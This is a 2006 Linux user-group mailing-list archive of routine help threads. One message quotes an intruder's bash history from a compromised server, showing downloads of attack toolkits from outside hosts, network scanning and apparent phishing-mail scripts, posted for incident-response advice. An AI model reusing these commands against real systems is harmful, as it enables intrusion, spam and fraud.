> >_______ Thank you for all the replies. It works! I switched over to a Linksys WRT-56G (running DD-WRT v23) from my D-Link DI-524 & everything functions correctly. I had messed around with this router about a year ago but was disappointed with it's functionality running the Linksys firmware. The open source stuff at the time seemed a little flaky & so I shelved the thing. DD-WRT has come a long way - great. From john.meier at gmail.com Sat Mar 18 00:05:14 2006 From: john.meier at gmail.com (John Meier) Date: Sat, 18 Mar 2006 06:05:14 +0000 Subject: [tclug-list] http://kororaa.org/ Message-ID: <65293fcc0603172205j20c6db5cn166bbcda0e31483b@mail.gmail.com> anyone tried out the livecd or installed yet? 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OT - VPN over wireless (Carl Zeilon) > 3. Re: OT - VPN over wireless (Florin Iucha) > 4. Re: struggling to get past a perl problem (lists at turbobit.com) > 5. Re: OT - VPN over wireless (Josh Welch) > 6. New TCLUG Review (TCLUG Review) > 7. Re: OT - VPN over wireless (Carl Zeilon) > 8. http://kororaa.org/ (John Meier) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Fri, 17 Mar 2006 13:06:08 -0600 (CST) > From: "Chris Schumann" > Subject: [tclug-list] Seeking Local Rails Resources > To: > Message-ID: <42876.192.28.2.52.1142622368.squirrel at alpha.twp-llc.com> > Content-Type: text/plain; charset=iso-8859-1 > > Are there any local Rails groups, online or off? I'd really like to get to > know some local people who are learning Rails. I've started a Rails app, > and have begun to realize just how big it is, and just talking through the > app with another real programmer who knows rails at least a little might > help. > > Thanks, > Chris Schumann > > > > > > ------------------------------ > > Message: 2 > Date: Fri, 17 Mar 2006 15:40:18 -0600 > From: Carl Zeilon > Subject: [tclug-list] OT - VPN over wireless > To: tclug-list at mn-linux.org > Message-ID: <441B2CC2.3030906 at charter.net> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > First, I'm totally new to VPNs. My wife is set up with a VPN to connect > to work from home. If I use a wired connection to my router, everything > functions fine. If I use the wireless card, failure. After a bit of > Googling I tried connecting through a neighbor's unsecured wireless > network. Tada... the VPN works. So, my question is this - Can you only > use a VPN when you are connected to an unsecured wireless network? I > can't use WPA & VPN at the same time? Is there something else I'm > missing? > > Thank you, > Carl > > > > ------------------------------ > > Message: 3 > Date: Fri, 17 Mar 2006 16:04:50 -0600 > From: florin at iucha.net (Florin Iucha) > Subject: Re: [tclug-list] OT - VPN over wireless > To: tclug-list at mn-linux.org > Message-ID: <20060317220450.GD26338 at iucha.net> > Content-Type: text/plain; charset="us-ascii" > > On Fri, Mar 17, 2006 at 03:40:18PM -0600, Carl Zeilon wrote: > > First, I'm totally new to VPNs. My wife is set up with a VPN to connect > > to work from home. If I use a wired connection to my router, everything > > functions fine. If I use the wireless card, failure. After a bit of > > Googling I tried connecting through a neighbor's unsecured wireless > > network. Tada... the VPN works. So, my question is this - Can you only > > use a VPN when you are connected to an unsecured wireless network? I > > can't use WPA & VPN at the same time? Is there something else I'm > missing? > > Most likely your router is mangling some packets (or does not mangle > the NAT packets as it might need to). I remember something about VPN in > the configuration pages of my Linksys WRT54G. Google around and dig > into the configs. > > florin > > -- > Don't question authority: they don't know either! > -------------- next part -------------- > A non-text attachment was scrubbed... > Name: not available > Type: application/pgp-signature > Size: 191 bytes > Desc: Digital signature > Url : > http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060317/f21f4b32/attachment-0001.pgp > > ------------------------------ > > Message: 4 > Date: Fri, 17 Mar 2006 16:28:41 +0000 > From: lists at turbobit.com > Subject: Re: [tclug-list] struggling to get past a perl problem > To: tclug-list at mn-linux.org > Message-ID: <20060317162841.GA21313 at turbobit.com> > Content-Type: text/plain; charset=us-ascii > > Hi Raymond, > > Just a few comments, I just took a quick look at Webgui and have > no experience with it, but... > > WebGui is not a package debian stable has, first red flag. > (I know you run RH, but if it's not in Debian it probably isn't in RH). > > Second red-flag: this Runtime Environment that the makers of WebGui > advertise looks odd. It's a 60MB download that claims to have > Apache/Mysql/ImageMagick/Perl/others all bundled up into one neat package. > This is a very unusual way to package/distribute for linux systems. > In my opinion, it sounds like a "Bad Thing". Apache & MySql are > rather big complex packages that is best to go along with what your > distro delivers and not divert from. > > Installation in source(stable version) is real brief, and refers you > to http://www.plainblack.com/installation for the install doc. None > is found here. > It mentions public list for install support but I couldn't find it. > (That would make sense to join/ask install questions on the projects > site list...) > > What was your experience with this "Runtime Environment" install package? > If it installs these packages hopefully it isolates them in > some private directories(usr/local)? Is that what it did? > If not you could have a real mess on your hands, if it mixes it with the > base install dirs. I would think that a 2nd copy of Apache/MySql > would clash with the distro's copy. > What version did you try and install? > > So a number of red flags, maybe you should forget all about this software. > > If you must have it I'd recommend trying to install per the short > install.txt file. Try to install all prerequisites from your distro, > leaving to last resort installing by source/cpan. So try and find RH > packages for the numerous perl modules it uses. Note MySQL usually > involves some pain trying to initiate a database. > > Cheers, > > > Karl. > > > On Thu, Mar 16, 2006 at 03:06:49PM -0600, Raymond Norton wrote: > > I am no pro when it comes to perl problems, but hopefully someone else > > is. > > > > I am trying to install WebGUI using their wre (WebGUI Runtime > > Environment) At first I was getting the following error: > > > > perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > > Can't locate ExtUtils/XSBuilder/ParseSource.pm in @INC (@INC contains:, > > etc.... > > > > > > The folders and files exist on the server, so I copied them over to a > > folder that was in the @INC path. ( By the way, how the heck do you edit > > @INC to include folders in its path?) > > > > Now I am getting the following error: > > > > root at www perl]# perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > > Base class package "ExtUtils::XSBuilder::ParseSource" is empty. > > (Perhaps you need to 'use' the module which defines that package > > first.) > > at Makefile.PL line 100 > > BEGIN failed--compilation aborted at Makefile.PL line 100. > > > > Any ideas? > > > > Raymond > > > > > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > ------------------------------ > > Message: 5 > Date: Fri, 17 Mar 2006 17:33:07 -0600 > From: Josh Welch > Subject: Re: [tclug-list] OT - VPN over wireless > To: tclug-list at mn-linux.org > Message-ID: <20060317173307.o21ellai1o004s04 at bullwinkle.joshwelch.com> > Content-Type: text/plain; charset=ISO-8859-1; format="flowed" > > Quoting Carl Zeilon : > > > First, I'm totally new to VPNs. My wife is set up with a VPN to connect > > to work from home. If I use a wired connection to my router, everything > > functions fine. If I use the wireless card, failure. After a bit of > > Googling I tried connecting through a neighbor's unsecured wireless > > network. Tada... the VPN works. So, my question is this - Can you only > > use a VPN when you are connected to an unsecured wireless network? I > > can't use WPA & VPN at the same time? Is there something else I'm > missing? > > > > Thank you, > > Carl > > > > Your router is likely doing bad things to the IP packets(icky natting), > if your > wife is using an IPSec VPN (probably is) they can be very picky about > anything > tinkering with the packets. Look for a VPN Passthrough option in the > router > config, that will typically help. > > Josh > > > > > ------------------------------ > > Message: 6 > Date: Fri, 17 Mar 2006 19:53:45 -0600 > From: TCLUG Review > Subject: [tclug-list] New TCLUG Review > To: tclug-list at mn-linux.org > Message-ID: <200603180153.k2I1rjn03608 at crusader.real-time.com> > > New TCLUG Review > > Category: Software > > Subject: Spellbound for FireFox > > I'm running MEPIS with FireFox 1.5 as my web browser, and have just > started blogging at Blog-City. The problem is that I can't spell worth spit! > The fix is a great program/extension for FireFox called 'Spellbound' to be > found at spellbound.sourceforge.net > > Follow the install instruction for the program and the Mozilla libraries; > they will both show up on the 'extensions' list after the install, but the > selected dictionary won't. It can only be seen in the spell check text > window. > > The program works great, but in order to get the dictionary to > install,(you select one from a list a mile long), you must first insure that > your user account has write access to the 'application component directory'. > I accomplished this by logging in as root and then downloading the > appropriate dictionary. The effect was global for all users on my system. If > you do not do this, then no dictionary will be indicated in the spell check > window even though it reported itself as have been successfully installed. > > By the way, the spell check icon, (an ABC with a check mark), won't > automatically show up on your tool bar in Firefox after you install the > program. To get it go to the View- Toolbars-customize list and scroll down > the group of icons to find it, then drag it to your toolbar! > > To spell check content, use the icon, (it will become colored if text is > present), or right click when you have you cursor in the text box and select > 'check spelling' from the drop down list. The text with will be copied to > another window where you can complete the normal spell checking procedures. > > This is a great little spell checker, and as you can see...it works! > > http://www.mn-linux.org/cgi-bin/reviews/index.cgi > > > > > ------------------------------ > > Message: 7 > Date: Fri, 17 Mar 2006 21:47:09 -0600 > From: Carl Zeilon > Subject: Re: [tclug-list] OT - VPN over wireless > To: tclug-list at mn-linux.org > Message-ID: <441B82BD.5090109 at charter.net> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > On Friday, March 17, 2006 3:40 PM, Carl Zeilon wrote: > > > > > >Date: Fri, 17 Mar 2006 15:40:18 -0600 > > >From: Carl Zeilon > > >To: tclug-list at mn-linux.org > > >Subject: [tclug-list] OT - VPN over wireless > > > > > >First, I'm totally new to VPNs. My wife is set up with a VPN to > connect > > >to work from home. If I use a wired connection to my router, > everything > > >functions fine. If I use the wireless card, failure. After a bit of > > >Googling I tried connecting through a neighbor's unsecured wireless > > >network. Tada... the VPN works. So, my question is this - Can you > only > > >use a VPN when you are connected to an unsecured wireless network? I > > >can't use WPA & VPN at the same time? Is there something else I'm > missing? > > > > > >Thank you, > > >Carl > > > > > >_______ > > Thank you for all the replies. It works! I switched over to a Linksys > WRT-56G (running DD-WRT v23) from my D-Link DI-524 & everything > functions correctly. I had messed around with this router about a year > ago but was disappointed with it's functionality running the Linksys > firmware. The open source stuff at the time seemed a little flaky & so > I shelved the thing. DD-WRT has come a long way - great. > > > > ------------------------------ > > Message: 8 > Date: Sat, 18 Mar 2006 06:05:14 +0000 > From: "John Meier" > Subject: [tclug-list] http://kororaa.org/ > To: tclug > Message-ID: > <65293fcc0603172205j20c6db5cn166bbcda0e31483b at mail.gmail.com> > Content-Type: text/plain; charset="iso-8859-1" > > anyone tried out the livecd or installed yet? Talk about eye candy! > > coments? > -------------- next part -------------- > An HTML attachment was scrubbed... > URL: > http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060318/78492945/attachment.htm > > ------------------------------ > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > End of tclug-list Digest, Vol 15, Issue 31 > ****************************************** > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060318/45678114/attachment-0001.htm From tony.little at comcast.net Sun Mar 19 23:18:45 2006 From: tony.little at comcast.net (tony.little at comcast.net) Date: Mon, 20 Mar 2006 05:18:45 +0000 Subject: [tclug-list] Bash Question on control codes? or escape codes? Message-ID: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> I was investigating how my copy of knoppix works, and as I was reading the file 'knoppix-autoconfig' I found these variables with some weird strings being assigned to them: # ANSI COLORS CRE="^M^[[K" NORMAL="^[[0;39m" # RED: Failure or error message RED="^[[1;31m" # GREEN: Success message GREEN="^[[1;32m" # YELLOW: Descriptions YELLOW="^[[1;33m" # BLUE: System messages BLUE="^[[1;34m" # MAGENTA: Found devices or drivers MAGENTA="^[[1;35m" # CYAN: Questions CYAN="^[[1;36m" # BOLD WHITE: Hint WHITE="^[[1;37m" Later on in the script they are used like this: KERNEL="$(uname -r)" echo "${GREEN}Running Linux Kernel ${YELLOW}$KERNEL${GREEN}.${NORMAL}" In another script I found something similar: echo -e "\033[31m $VENDOR_TEXT \033[0m" I believe the \033 is an escape sequence and the 31 means red, but I'm not sure. I'm wondering is 31 the entire symbol or is it [31m that is the symbol? I can tell that these are modifiers for the color of the text but I whould like to know which part does what and where can I find a definition of these? Thank-you Tony Little From mbmiller at taxa.epi.umn.edu Mon Mar 20 00:37:36 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 20 Mar 2006 00:37:36 -0600 (CST) Subject: [tclug-list] Bash Question on control codes? or escape codes? In-Reply-To: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> References: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> Message-ID: On Mon, 20 Mar 2006 tony.little at comcast.net wrote: > I was investigating how my copy of knoppix works, and as I was reading > the file 'knoppix-autoconfig' I found these variables with some weird > strings being assigned to them: > > # ANSI COLORS > CRE="^M^[[K" > NORMAL="^[[0;39m" > # RED: Failure or error message > RED="^[[1;31m" > # GREEN: Success message > GREEN="^[[1;32m" > # YELLOW: Descriptions > YELLOW="^[[1;33m" > # BLUE: System messages > BLUE="^[[1;34m" > # MAGENTA: Found devices or drivers > MAGENTA="^[[1;35m" > # CYAN: Questions > CYAN="^[[1;36m" > # BOLD WHITE: Hint > WHITE="^[[1;37m" > > > Later on in the script they are used like this: > > KERNEL="$(uname -r)" > echo "${GREEN}Running Linux Kernel ${YELLOW}$KERNEL${GREEN}.${NORMAL}" > > > In another script I found something similar: > > echo -e "\033[31m $VENDOR_TEXT \033[0m" > > I believe the \033 is an escape sequence and the 31 means red, but I'm > not sure. I'm wondering is 31 the entire symbol or is it [31m that is > the symbol? The \033 is the ascii character with octal code 33, which is the escape character. Check this out: man ascii The "backslash number" is a common way of expressing certain special characters in shell scripts (tr, perl, and a few others work with those octal codes). Apparently the ESC character followed by [31m tell the shell to display in red. Try these commands: ls -l --color /lib | less ls -l --color /lib | less -r The first one shows the ANSI color codes with the ESC characters and the second command interprets those characters to display the color. > I can tell that these are modifiers for the color of the text but I > whould like to know which part does what and where can I find a > definition of these? The thing you are interested in is "ANSI color." Here's some information about how it is used in bash: http://www.linuxfocus.org/English/May2004/article335.shtml Mike From lists at turbobit.com Mon Mar 20 01:55:01 2006 From: lists at turbobit.com (lists at turbobit.com) Date: Mon, 20 Mar 2006 07:55:01 +0000 Subject: [tclug-list] Bash Question on control codes? or escape codes? In-Reply-To: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> References: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> Message-ID: <20060320075501.GA28318@turbobit.com> On Mon, Mar 20, 2006 at 05:18:45AM +0000, tony.little at comcast.net wrote: > I was investigating how my copy of knoppix works, and as I was reading the file 'knoppix-autoconfig' I > found these variables with some weird strings being assigned to them: > > # ANSI COLORS > CRE="^M^[[K" > NORMAL="^[[0;39m" > I can tell that these are modifiers for the color of the text but I whould like to know > which part does what and where can I find a definition of these? Google on ansi terminal escape sequences http://www.termsys.demon.co.uk/vtansi.htm These come from the original smart terminals(DEC VT52, VT100,..). The kernel implements a terminal emulation which is what Knoppix interacts with initially. Karl. From trammell+tclug at el-swifto.com Mon Mar 20 08:18:41 2006 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon, 20 Mar 2006 08:18:41 -0600 Subject: [tclug-list] Bash Question on control codes? or escape codes? In-Reply-To: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> References: <032020060518.28579.441E3B35000C5AB000006FA322007510900A049B9B0704D29702019B@comcast.net> Message-ID: <20060320141841.GA19618@mail.el-swifto.com> On Mon, Mar 20, 2006 at 05:18:45AM +0000, tony.little at comcast.net wrote: > I can tell that these are modifiers for the color of the text but I > whould like to know which part does what and where can I find a > definition of these? One possible resource: http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/ -- trammell at el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota From webmaster at mn-linux.org Mon Mar 20 16:07:40 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Mon, 20 Mar 2006 16:07:40 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603202207.k2KM7eq15791@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: P2 350 and 17 inch monitor Gateway P2 350 system. No hard drive, only 32mg ram. I can include a tiny HD if you are just building a firewall. Gateway 17 inch monitor, works fine. $5 each. Pick-up in Apple Valley. Seller Email address: pclinux at charter dot net http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From ben_b at ppdonline.com Mon Mar 20 22:28:49 2006 From: ben_b at ppdonline.com (Ben Bargabus) Date: Mon, 20 Mar 2006 22:28:49 -0600 Subject: [tclug-list] TV-out Message-ID: <441F8101.3B1B578D@ppdonline.com> Hello, I have an ATI x300 SE graphics card (PCIe if that matters at all) that I'd trying to get working with TV-out on an Ubuntu 5.10 distro. I had originally installed the amd64 build (I'm running a Pentium D) and under that I was able to get some fuzzy output to my TV. Blocks of color seemed to be in approximately the right spot but it was as if everything was smeared across the screen and totally unreadable (if that description makes any sense). Anyway, for another reason I went to the i386 build and now I don't get anything out the TV-out port. To be precise, while booting up I get similar fuzzy-ness to the amd64 behavior but as soon as the login screen appears it goes solid black. I have installed ATI's own driver (fglrx). What am I missing here? Thanks, Ben. PS the reason I switched to i386 is because ndiswrapper complained that my nic drivers weren't 64 bit. If I need to go back to amd64 to get my tv-out back does anyone know of a 64 bit version of the linksys wmp54gx driver (uses airgo pre-n chipset - pciid 17cb:0001, I used the netgear wpnt511 driver)? From auditodd at comcast.net Tue Mar 21 09:18:15 2006 From: auditodd at comcast.net (auditodd at comcast.net) Date: Tue, 21 Mar 2006 15:18:15 +0000 Subject: [tclug-list] TV-out Message-ID: <032120061518.20974.44201937000C9273000051EE22070029530B0B019B070B9A0E@comcast.net> Do you have a monitor and TV hooked up to the card? Some cards only allow one or the other, not both. -- ---- ------ Todd Young -------------- Original message ---------------------- From: "Ben Bargabus" > Hello, > I have an ATI x300 SE graphics card (PCIe if that matters at all) that > I'd trying to get working with TV-out on an Ubuntu 5.10 distro. I had > originally installed the amd64 build (I'm running a Pentium D) and under > that I was able to get some fuzzy output to my TV. Blocks of color > seemed to be in approximately the right spot but it was as if everything > was smeared across the screen and totally unreadable (if that > description makes any sense). Anyway, for another reason I went to the > i386 build and now I don't get anything out the TV-out port. To be > precise, while booting up I get similar fuzzy-ness to the amd64 behavior > but as soon as the login screen appears it goes solid black. I have > installed ATI's own driver (fglrx). What am I missing here? > Thanks, > Ben. > > PS the reason I switched to i386 is because ndiswrapper complained that > my nic drivers weren't 64 bit. If I need to go back to amd64 to get my > tv-out back does anyone know of a 64 bit version of the linksys wmp54gx > driver (uses airgo pre-n chipset - pciid 17cb:0001, I used the netgear > wpnt511 driver)? > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From slinabery at worldcycling.com Tue Mar 21 15:16:59 2006 From: slinabery at worldcycling.com (Steve Linabery) Date: Tue, 21 Mar 2006 15:16:59 -0600 Subject: [tclug-list] any x86_64 dual cpu mobo ideas? Message-ID: <5274348.1142975810839.JavaMail.root@mail.worldcycling.com> Hi all, I'm thinking about building a box to run asterisk PBX. Will be using the digium TE110P card. I've had good luck with Tyan boards in the past for smp configurations with AMD Opteron processors. I have read that asterisk doesn't tolerate IRQ latency well. Also, since there's so much stream processing going on in asterisk, that FPU performance is a deciding factor. I have no religious preference when it comes to CPU manufacturers. I'm appealing to the super hardware heads on this list for suggestions. Cheers, -- Steve Linabery World Cycling Productions B94B C3C7 8A27 FF09 3C9D E992 5A20 2492 D5F5 EE51 This electronic message transmission contains information from the sender's organization that may be proprietary, confidential and/or privileged. The information is intended only for the use of the individual(s) or entity named above. If you are not the intended recipient, be aware that any disclosure, copying or distribution or use of the contents of this information is prohibited. If you have received this electronic transmission in error, please notify the sender immediately by replying to the address listed in the "From:" From dan at dandrake.org Tue Mar 21 15:47:58 2006 From: dan at dandrake.org (Dan Drake) Date: Tue, 21 Mar 2006 15:47:58 -0600 Subject: [tclug-list] Mutt always thinks there's new mail in /var/mail/$USERNAME In-Reply-To: <20060314192920.GA21087@dandrake.org> References: <20060314192920.GA21087@dandrake.org> Message-ID: <20060321214758.GA3079@dandrake.org> On Tue, 14 Mar 2006 at 01:29PM -0600, Dan wrote: > I just moved my mail over to a new Debian box, and now Mutt always > thinks I have new mail in my mailspool (/var/mail/dan). If I'm in, > say, my tclug folder, after reading a message, Mutt will say I have > new mail in my inbox -- but there's not. > > I'm guessing this is some sort of file access/modification time issue, > but I don't know what's the problem or how to fix it. Any suggestions? I figured out the problem: the filesystem somehow got mounted with the "noatime" option, so access times weren't being updated for /var/mail/dan. Mutt apparently compares the access and modified times to see if there's new mail. Easily fixed by editing /etc/fstab and doing # mount -o remount,atime / Dan -- Ceci n'est pas une .signature. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060321/4dc03fbf/attachment.pgp From tclug at natecarlson.com Tue Mar 21 15:49:49 2006 From: tclug at natecarlson.com (Nate Carlson) Date: Tue, 21 Mar 2006 15:49:49 -0600 (CST) Subject: [tclug-list] any x86_64 dual cpu mobo ideas? In-Reply-To: <5274348.1142975810839.JavaMail.root@mail.worldcycling.com> References: <5274348.1142975810839.JavaMail.root@mail.worldcycling.com> Message-ID: On Tue, 21 Mar 2006, Steve Linabery wrote: > I'm thinking about building a box to run asterisk PBX. Will be using the > digium TE110P card. Cool! Why the heck do you need a dual-proc box for a single T1? Going to be do massive transcoding? > I've had good luck with Tyan boards in the past for smp configurations > with AMD Opteron processors. I have read that asterisk doesn't tolerate > IRQ latency well. Also, since there's so much stream processing going on > in asterisk, that FPU performance is a deciding factor. I have no > religious preference when it comes to CPU manufacturers. I'll be running Asterisk soon on a dual opteron system I just picked up, under Xen.. haven't decided if I'm going to go x86_64 or just stick with 32-bit yet, though. It's a dual-opteron 242 on a Tyan S2882 motherboard. If you're interested, I can let you know how it goes.. of course, this is just for home, and doesn't do simultaneous channels very often, so it likely won't compare to what you need. :) > I'm appealing to the super hardware heads on this list for suggestions. ------------------------------------------------------------------------ | nate carlson | natecars at natecarlson.com | http://www.natecarlson.com | | depriving some poor village of its idiot since 1981 | ------------------------------------------------------------------------ From ben_b at ppdonline.com Wed Mar 22 02:28:46 2006 From: ben_b at ppdonline.com (Ben Bargabus) Date: Wed, 22 Mar 2006 02:28:46 -0600 Subject: [tclug-list] TV-out References: <032120061518.20974.44201937000C9273000051EE22070029530B0B019B070B9A0E@comcast.net> Message-ID: <44210ABE.B1432311@ppdonline.com> I have a monitor hooked up now but didn't previously (I hooked up the monitor because the TV-out wasn't giving me anything). Good thought though. Any other ideas? Thanks, Ben. auditodd at comcast.net wrote: > > Do you have a monitor and TV hooked up to the card? > > Some cards only allow one or the other, not both. > > -- > ---- > ------ > Todd Young > > -------------- Original message ---------------------- > From: "Ben Bargabus" > > Hello, > > I have an ATI x300 SE graphics card (PCIe if that matters at all) that > > I'd trying to get working with TV-out on an Ubuntu 5.10 distro. I had > > originally installed the amd64 build (I'm running a Pentium D) and under > > that I was able to get some fuzzy output to my TV. Blocks of color > > seemed to be in approximately the right spot but it was as if everything > > was smeared across the screen and totally unreadable (if that > > description makes any sense). Anyway, for another reason I went to the > > i386 build and now I don't get anything out the TV-out port. To be > > precise, while booting up I get similar fuzzy-ness to the amd64 behavior > > but as soon as the login screen appears it goes solid black. I have > > installed ATI's own driver (fglrx). What am I missing here? > > Thanks, > > Ben. > > > > PS the reason I switched to i386 is because ndiswrapper complained that > > my nic drivers weren't 64 bit. If I need to go back to amd64 to get my > > tv-out back does anyone know of a 64 bit version of the linksys wmp54gx > > driver (uses airgo pre-n chipset - pciid 17cb:0001, I used the netgear > > wpnt511 driver)? > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From there.can.be.only.two.apparently at gmail.com Wed Mar 22 09:55:19 2006 From: there.can.be.only.two.apparently at gmail.com (Loren H. Burlingame) Date: Wed, 22 Mar 2006 09:55:19 -0600 Subject: [tclug-list] Linux system "hack" attempt Message-ID: I recently noticed that a system I am responsible for was sending out a bunch of spam messages. I logged into it and sure enough it was a cracked user account which was responsible. I immediately locked down SSHD to certain users with strong passwords (should have done this before, I know), killed the offending processes and looked for replaced executables. Fortunately, the "hacker" (more like script kiddie) was not able to get access to root by the look of it. Also they managed to not delete their .bash_history file. It appears the programs he was downloading and running were meant to brute force crack passwords and look for Samba vulnerabilities. The system definately is not sending anymore spam but I am not convinced that I have undone everything that was done. Take a look at the bash history and let me know what you think. ## BEGIN BASH HISTORY ./scan 12.120 ./scan 12.121 ./scan 12.106 ./scan 12.108 ps ax pwd cd .. ls rm -rf fuckers/ own.tgz www.pdf .t ls ls la ls -la passwd w uname -a cd /tmp wget wget cbac.3x.ro/www/www.pdf tar xzvf www.pdf cd .t ./aVe ./ave ./aVe ./elflbl ./elflbl w php -v cd /tmp ps ax uname -a cd /tmp wget toxic.sapte.ro/own.tgz tar xzvf own.tgz cd fuckers/ ./scan 129.2 ls rm -rf 129.* 69.* vuln.txt lks l ls screen screen -r killall -9 screen screen -wipe ls pwd cd .. ls sendmail qmail ps ax killall -9 elflbl ps ax wget w cd /tmp ls cd /dev/shm ls mkdir a rm -rf a wget wget ftp://mihaita:alwayssprite at mihaita.netfirms.com/www/nt.tar wget ftp://mihaita:alwayssprite at mihaita.netfirms.com/cgi-bin/nt.tar tar xzvf nt.tar cd nt ls ./ss 150.0.0.0/16 ./s 150.0.0.0/16 screen cd /tmp php -v wget scp vpopmail at 203.197.97.162:/tmp/sc.tgz /tmp screen -r tar xzvf sc.tgz cd .Chase/ php chase.php list.txt ps ax screen -r cd /tmp ls cd .Chase/ ls scp test at 220.117.204.90:/tmp/a/a3.txt /tmp/.Chase/ scp test at 220.117.204.90:/tmp/a/a4.txt /tmp/.Chase mv a3.txt list.txt cat a4.txt >> list.txt rm -rf a4.txt screen ps ax screen =-r screen -r screen -r 24034 screen -r 9718 screen -r 9718 cd /tmp cd .Chase/ ls rm -rf list.txt ls rm -rf list.txt scp test at 220.117.204.90:/tmp/a/mihai2.txt /tmp/.Chase/ pico mihai2.txt nano mihai2.txt scp test at 220.117.204.90:/tmp/a/mihai.txt /tmp/.Chase/ nano mihai.txt mv mihai.txt list.txt cat mihai2.txt >> list.txt rm -rf mihai2.txt screen -r 9718 screen -r screen -r 24034.pts-0.ndxmail screen -r screen -r 24034.pts-0.ndxmail curl --help cd /tmp ls wget ftp://ciungu:123qwe at ciungu.netfirms.com/www/Linuxvld.tgz tar xzvf Linuxvld.tgz ls cd validator/ ls rm -rf invalide.txt valide.txt ./validator.sh ls rm -rf invalide.txt list.txt valide.txt ls ftp php chase.php list.txt php chase.php list.txt cd /dev/shm ls cd /tmp cd validator/ ls ls -la ls mv l25.txt list.txt ls screen -r screen -r 9718.pts-0.ndxmail kill -9 9718 screen -r ls screen screen -r screen -r 14426.pts-0.ndxmail /tmp cd v cd /dev/shm cd va ls cd /tmp[ ls cd /tmp ls cd validator/ ls nano valide.txt screen -r screen -r 14426.pts-0.ndxmail cd /v cd /derbv/sjhm cd /dev/shm ls cd /tymp cd /tmp cd validator/ ls nano valide.txt screen -r screen -r 14426.pts-0.ndxmail cd /tmp cd l ls cd validator/ ls nano valide.txt mv valide.txt s4.txt ftp ls rm -rf s4.txt list.txt invalide.txt ./validator.sh w who -q cd /tmp ls -la screen -r screen -r 24034.pts-0.ndxmail screen -r 14426.pts-0.ndxmail kill -9 14426.pts-0.ndxmail ls kill -9 14426 ls ls -la scp test at 220.117.204.90:/tmp/send.tgz /tmp tar xzvf send.tgz cd .Ss rm -rf lis cd .SS rm -rf list.txt scp root at 200.168.58.88:/tmp/.SS/list.txt /tmp/.SS/ screen ps ax php paypal.php lu php paypal.php list.txt w screen -r screen -r 24034.pts-0.ndxmail screen -r 24064.pts-0.ndxmail kill -9 24064 cd /tmp wget talentat.100free.com/w00t.tgz ftp ftp ls www.geocities.com/jbj20_01/w00t.tgz wget www.geocities.com/jbj20_01/w00t.tgz tar xzvf w00t.tgz cd w00t ls ./auto ./auto ls ./auto chmod +x 209 ./209 ./asmb 64.251 cd /tmp cd ww cd wq cd w00t ls screen -r screen 12.106.4.204 ls cd .. ls ftp screen -r screen -r 24034.pts-0.ndxmail screen -r 13181.pts-0.ndxmail kill -9 13181 ./s 150.0.0.0/16 ./s 150.80.0.0/16 ./s 150.140.0.0/16 ./scan 164.20.0.0/16 ./s 164.20.0.0/16 ./s 164.80.0.0/16 ./s 164.90.0.0/16 ./s 164.100.0.0/16 ## END BASH HISTORY -- Loren H. Burlingame GPG Key ID: 0x112DCF4F "Irony can be pretty ironic sometimes." -William Shatner (a.k.a. Buck Murdock) From josh at joshwelch.com Wed Mar 22 11:37:27 2006 From: josh at joshwelch.com (Josh Welch) Date: Wed, 22 Mar 2006 11:37:27 -0600 Subject: [tclug-list] Linux system "hack" attempt In-Reply-To: References: Message-ID: <20060322113727.1ghmarnqmq80wk48@bullwinkle.joshwelch.com> Quoting "Loren H. Burlingame" : > I recently noticed that a system I am responsible for was sending out > a bunch of spam messages. I logged into it and sure enough it was a > cracked user account which was responsible. > > I immediately locked down SSHD to certain users with strong passwords > (should have done this before, I know), killed the offending processes > and looked for replaced executables. > > Fortunately, the "hacker" (more like script kiddie) was not able to > get access to root by the look of it. Also they managed to not delete > their .bash_history file. > > It appears the programs he was downloading and running were meant to > brute force crack passwords and look for Samba vulnerabilities. > > The system definately is not sending anymore spam but I am not > convinced that I have undone everything that was done. Take a look at > the bash history and let me know what you think. Once a system is compromised it can no longer be trusted. Odds are good that this kiddie didn't do anything too exotic, he left some fairly traceable footprints, but then again maybe he left those footprints to keep you from looking at the really sneaky stuff he did. This system will need to be reloaded, no two ways about it. Data should be restored from backups. Josh From thecubic at thecubic.net Wed Mar 22 15:30:23 